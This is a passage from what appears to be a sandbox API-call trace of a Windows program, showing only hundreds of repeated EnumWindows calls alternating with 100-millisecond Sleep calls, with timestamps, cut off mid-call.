EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.102] Sleep (dwMilliseconds=0x64) [0287.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.110] Sleep (dwMilliseconds=0x64) [0287.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.119] Sleep (dwMilliseconds=0x64) [0287.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.164] Sleep (dwMilliseconds=0x64) [0287.171] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.172] Sleep (dwMilliseconds=0x64) [0287.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.237] Sleep (dwMilliseconds=0x64) [0287.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.247] Sleep (dwMilliseconds=0x64) [0287.258] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.259] Sleep (dwMilliseconds=0x64) [0287.261] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.261] Sleep (dwMilliseconds=0x64) [0287.263] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.263] Sleep (dwMilliseconds=0x64) [0287.265] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.265] Sleep (dwMilliseconds=0x64) [0287.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.288] Sleep (dwMilliseconds=0x64) [0287.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.367] Sleep (dwMilliseconds=0x64) [0287.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.372] Sleep (dwMilliseconds=0x64) [0287.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.374] Sleep (dwMilliseconds=0x64) [0287.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.376] Sleep (dwMilliseconds=0x64) [0287.379] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.380] Sleep (dwMilliseconds=0x64) [0287.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.382] Sleep (dwMilliseconds=0x64) [0287.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.384] Sleep (dwMilliseconds=0x64) [0287.398] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.399] Sleep (dwMilliseconds=0x64) [0287.400] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.401] Sleep (dwMilliseconds=0x64) [0287.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.482] Sleep (dwMilliseconds=0x64) [0287.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.511] Sleep (dwMilliseconds=0x64) [0287.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.515] Sleep (dwMilliseconds=0x64) [0287.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.748] Sleep (dwMilliseconds=0x64) [0287.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.751] Sleep (dwMilliseconds=0x64) [0287.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.753] Sleep (dwMilliseconds=0x64) [0287.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.761] Sleep (dwMilliseconds=0x64) [0287.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.769] Sleep (dwMilliseconds=0x64) [0287.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.777] Sleep (dwMilliseconds=0x64) [0287.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.810] Sleep (dwMilliseconds=0x64) [0287.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.817] Sleep (dwMilliseconds=0x64) [0287.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.894] Sleep (dwMilliseconds=0x64) [0287.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.903] Sleep (dwMilliseconds=0x64) [0287.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.907] Sleep (dwMilliseconds=0x64) [0287.909] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.910] Sleep (dwMilliseconds=0x64) [0287.912] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.912] Sleep (dwMilliseconds=0x64) [0287.914] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.914] Sleep (dwMilliseconds=0x64) [0287.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.916] Sleep (dwMilliseconds=0x64) [0287.918] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.918] Sleep (dwMilliseconds=0x64) [0287.920] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.920] Sleep (dwMilliseconds=0x64) [0287.922] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.922] Sleep (dwMilliseconds=0x64) [0287.928] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0287.929] Sleep (dwMilliseconds=0x64) [0288.034] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.035] Sleep (dwMilliseconds=0x64) [0288.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.063] Sleep (dwMilliseconds=0x64) [0288.064] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.065] Sleep (dwMilliseconds=0x64) [0288.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.069] Sleep (dwMilliseconds=0x64) [0288.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.071] Sleep (dwMilliseconds=0x64) [0288.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.079] Sleep (dwMilliseconds=0x64) [0288.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.088] Sleep (dwMilliseconds=0x64) [0288.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.097] Sleep (dwMilliseconds=0x64) [0288.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.206] Sleep (dwMilliseconds=0x64) [0288.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.214] Sleep (dwMilliseconds=0x64) [0288.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.273] Sleep (dwMilliseconds=0x64) [0288.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.281] Sleep (dwMilliseconds=0x64) [0288.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.284] Sleep (dwMilliseconds=0x64) [0288.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.293] Sleep (dwMilliseconds=0x64) [0288.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.301] Sleep (dwMilliseconds=0x64) [0288.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.346] Sleep (dwMilliseconds=0x64) [0288.353] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.353] Sleep (dwMilliseconds=0x64) [0288.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.423] Sleep (dwMilliseconds=0x64) [0288.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.433] Sleep (dwMilliseconds=0x64) [0288.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.435] Sleep (dwMilliseconds=0x64) [0288.437] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.437] Sleep (dwMilliseconds=0x64) [0288.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.442] Sleep (dwMilliseconds=0x64) [0288.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.443] Sleep (dwMilliseconds=0x64) [0288.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.445] Sleep (dwMilliseconds=0x64) [0288.447] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.447] Sleep (dwMilliseconds=0x64) [0288.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.449] Sleep (dwMilliseconds=0x64) [0288.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.452] Sleep (dwMilliseconds=0x64) [0288.454] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.454] Sleep (dwMilliseconds=0x64) [0288.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.560] Sleep (dwMilliseconds=0x64) [0288.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.563] Sleep (dwMilliseconds=0x64) [0288.564] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.565] Sleep (dwMilliseconds=0x64) [0288.566] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.567] Sleep (dwMilliseconds=0x64) [0288.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.569] Sleep (dwMilliseconds=0x64) [0288.571] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.571] Sleep (dwMilliseconds=0x64) [0288.573] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.573] Sleep (dwMilliseconds=0x64) [0288.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.578] Sleep (dwMilliseconds=0x64) [0288.580] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.581] Sleep (dwMilliseconds=0x64) [0288.588] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.589] Sleep (dwMilliseconds=0x64) [0288.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.668] Sleep (dwMilliseconds=0x64) [0288.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.699] Sleep (dwMilliseconds=0x64) [0288.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.701] Sleep (dwMilliseconds=0x64) [0288.713] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.714] Sleep (dwMilliseconds=0x64) [0288.715] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.716] Sleep (dwMilliseconds=0x64) [0288.717] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.718] Sleep (dwMilliseconds=0x64) [0288.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.720] Sleep (dwMilliseconds=0x64) [0288.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.722] Sleep (dwMilliseconds=0x64) [0288.724] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.724] Sleep (dwMilliseconds=0x64) [0288.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.726] Sleep (dwMilliseconds=0x64) [0288.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.728] Sleep (dwMilliseconds=0x64) [0288.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.774] Sleep (dwMilliseconds=0x64) [0288.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.827] Sleep (dwMilliseconds=0x64) [0288.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.831] Sleep (dwMilliseconds=0x64) [0288.833] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.834] Sleep (dwMilliseconds=0x64) [0288.836] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.836] Sleep (dwMilliseconds=0x64) [0288.838] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.839] Sleep (dwMilliseconds=0x64) [0288.840] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.841] Sleep (dwMilliseconds=0x64) [0288.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.843] Sleep (dwMilliseconds=0x64) [0288.845] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.846] Sleep (dwMilliseconds=0x64) [0288.847] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.847] Sleep (dwMilliseconds=0x64) [0288.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.850] Sleep (dwMilliseconds=0x64) [0288.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.852] Sleep (dwMilliseconds=0x64) [0288.853] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.854] Sleep (dwMilliseconds=0x64) [0288.855] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.856] Sleep (dwMilliseconds=0x64) [0288.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.858] Sleep (dwMilliseconds=0x64) [0288.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.862] Sleep (dwMilliseconds=0x64) [0288.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.864] Sleep (dwMilliseconds=0x64) [0288.865] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.866] Sleep (dwMilliseconds=0x64) [0288.867] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.868] Sleep (dwMilliseconds=0x64) [0288.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.870] Sleep (dwMilliseconds=0x64) [0288.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.872] Sleep (dwMilliseconds=0x64) [0288.878] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.879] Sleep (dwMilliseconds=0x64) [0288.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.980] Sleep (dwMilliseconds=0x64) [0288.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.989] Sleep (dwMilliseconds=0x64) [0288.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.991] Sleep (dwMilliseconds=0x64) [0288.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.996] Sleep (dwMilliseconds=0x64) [0288.998] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0288.998] Sleep (dwMilliseconds=0x64) [0289.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.077] Sleep (dwMilliseconds=0x64) [0289.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.124] Sleep (dwMilliseconds=0x64) [0289.126] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.126] Sleep (dwMilliseconds=0x64) [0289.128] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.129] Sleep (dwMilliseconds=0x64) [0289.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.138] Sleep (dwMilliseconds=0x64) [0289.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.140] Sleep (dwMilliseconds=0x64) [0289.142] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.143] Sleep (dwMilliseconds=0x64) [0289.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.145] Sleep (dwMilliseconds=0x64) [0289.147] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.148] Sleep (dwMilliseconds=0x64) [0289.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.150] Sleep (dwMilliseconds=0x64) [0289.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.153] Sleep (dwMilliseconds=0x64) [0289.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.156] Sleep (dwMilliseconds=0x64) [0289.157] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.158] Sleep (dwMilliseconds=0x64) [0289.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.161] Sleep (dwMilliseconds=0x64) [0289.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.162] Sleep (dwMilliseconds=0x64) [0289.165] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.165] Sleep (dwMilliseconds=0x64) [0289.167] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.167] Sleep (dwMilliseconds=0x64) [0289.169] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.169] Sleep (dwMilliseconds=0x64) [0289.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.215] Sleep (dwMilliseconds=0x64) [0289.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.261] Sleep (dwMilliseconds=0x64) [0289.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.273] Sleep (dwMilliseconds=0x64) [0289.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.275] Sleep (dwMilliseconds=0x64) [0289.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.277] Sleep (dwMilliseconds=0x64) [0289.284] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.285] Sleep (dwMilliseconds=0x64) [0289.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.293] Sleep (dwMilliseconds=0x64) [0289.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.364] Sleep (dwMilliseconds=0x64) [0289.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.492] Sleep (dwMilliseconds=0x64) [0289.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.502] Sleep (dwMilliseconds=0x64) [0289.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.510] Sleep (dwMilliseconds=0x64) [0289.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.518] Sleep (dwMilliseconds=0x64) [0289.526] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.527] Sleep (dwMilliseconds=0x64) [0289.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.540] Sleep (dwMilliseconds=0x64) [0289.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.625] Sleep (dwMilliseconds=0x64) [0289.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.638] Sleep (dwMilliseconds=0x64) [0289.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.647] Sleep (dwMilliseconds=0x64) [0289.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.650] Sleep (dwMilliseconds=0x64) [0289.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.651] Sleep (dwMilliseconds=0x64) [0289.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.653] Sleep (dwMilliseconds=0x64) [0289.655] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.655] Sleep (dwMilliseconds=0x64) [0289.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.658] Sleep (dwMilliseconds=0x64) [0289.661] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.661] Sleep (dwMilliseconds=0x64) [0289.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.663] Sleep (dwMilliseconds=0x64) [0289.671] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.671] Sleep (dwMilliseconds=0x64) [0289.741] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.741] Sleep (dwMilliseconds=0x64) [0289.749] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.749] Sleep (dwMilliseconds=0x64) [0289.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.786] Sleep (dwMilliseconds=0x64) [0289.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.795] Sleep (dwMilliseconds=0x64) [0289.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.807] Sleep (dwMilliseconds=0x64) [0289.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.815] Sleep (dwMilliseconds=0x64) [0289.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.860] Sleep (dwMilliseconds=0x64) [0289.924] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.925] Sleep (dwMilliseconds=0x64) [0289.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.927] Sleep (dwMilliseconds=0x64) [0289.929] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.930] Sleep (dwMilliseconds=0x64) [0289.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.933] Sleep (dwMilliseconds=0x64) [0289.956] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.957] Sleep (dwMilliseconds=0x64) [0289.959] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.960] Sleep (dwMilliseconds=0x64) [0289.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.962] Sleep (dwMilliseconds=0x64) [0289.963] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.964] Sleep (dwMilliseconds=0x64) [0289.965] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.966] Sleep (dwMilliseconds=0x64) [0289.967] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.968] Sleep (dwMilliseconds=0x64) [0289.969] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.970] Sleep (dwMilliseconds=0x64) [0289.971] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.972] Sleep (dwMilliseconds=0x64) [0289.973] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.974] Sleep (dwMilliseconds=0x64) [0289.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.976] Sleep (dwMilliseconds=0x64) [0289.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.978] Sleep (dwMilliseconds=0x64) [0289.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.980] Sleep (dwMilliseconds=0x64) [0289.981] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.982] Sleep (dwMilliseconds=0x64) [0289.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.984] Sleep (dwMilliseconds=0x64) [0289.985] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.986] Sleep (dwMilliseconds=0x64) [0289.987] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.988] Sleep (dwMilliseconds=0x64) [0289.989] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.990] Sleep (dwMilliseconds=0x64) [0289.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.994] Sleep (dwMilliseconds=0x64) [0289.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.996] Sleep (dwMilliseconds=0x64) [0289.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0289.998] Sleep (dwMilliseconds=0x64) [0290.000] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.000] Sleep (dwMilliseconds=0x64) [0290.002] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.002] Sleep (dwMilliseconds=0x64) [0290.004] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.004] Sleep (dwMilliseconds=0x64) [0290.005] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.006] Sleep (dwMilliseconds=0x64) [0290.007] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.009] Sleep (dwMilliseconds=0x64) [0290.010] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.073] Sleep (dwMilliseconds=0x64) [0290.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.083] Sleep (dwMilliseconds=0x64) [0290.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.085] Sleep (dwMilliseconds=0x64) [0290.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.087] Sleep (dwMilliseconds=0x64) [0290.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.089] Sleep (dwMilliseconds=0x64) [0290.161] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.162] Sleep (dwMilliseconds=0x64) [0290.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.235] Sleep (dwMilliseconds=0x64) [0290.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.372] Sleep (dwMilliseconds=0x64) [0290.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.447] Sleep (dwMilliseconds=0x64) [0290.567] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.568] Sleep (dwMilliseconds=0x64) [0290.625] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.626] Sleep (dwMilliseconds=0x64) [0290.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.628] Sleep (dwMilliseconds=0x64) [0290.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.642] Sleep (dwMilliseconds=0x64) [0290.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.653] Sleep (dwMilliseconds=0x64) [0290.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.665] Sleep (dwMilliseconds=0x64) [0290.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.699] Sleep (dwMilliseconds=0x64) [0290.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.707] Sleep (dwMilliseconds=0x64) [0290.779] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.780] Sleep (dwMilliseconds=0x64) [0290.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.783] Sleep (dwMilliseconds=0x64) [0290.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.785] Sleep (dwMilliseconds=0x64) [0290.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.788] Sleep (dwMilliseconds=0x64) [0290.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.801] Sleep (dwMilliseconds=0x64) [0290.803] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.804] Sleep (dwMilliseconds=0x64) [0290.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.805] Sleep (dwMilliseconds=0x64) [0290.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.808] Sleep (dwMilliseconds=0x64) [0290.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.809] Sleep (dwMilliseconds=0x64) [0290.811] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.811] Sleep (dwMilliseconds=0x64) [0290.813] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.814] Sleep (dwMilliseconds=0x64) [0290.824] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.825] Sleep (dwMilliseconds=0x64) [0290.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.846] Sleep (dwMilliseconds=0x64) [0290.958] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.959] Sleep (dwMilliseconds=0x64) [0290.966] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.967] Sleep (dwMilliseconds=0x64) [0290.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.976] Sleep (dwMilliseconds=0x64) [0290.984] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.985] Sleep (dwMilliseconds=0x64) [0290.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0290.998] Sleep (dwMilliseconds=0x64) [0291.008] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.009] Sleep (dwMilliseconds=0x64) [0291.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.128] Sleep (dwMilliseconds=0x64) [0291.147] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.148] Sleep (dwMilliseconds=0x64) [0291.151] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0291.153] Sleep (dwMilliseconds=0x64) [0291.158] EnumWindows (lpEnumFunc=0x403dd0, 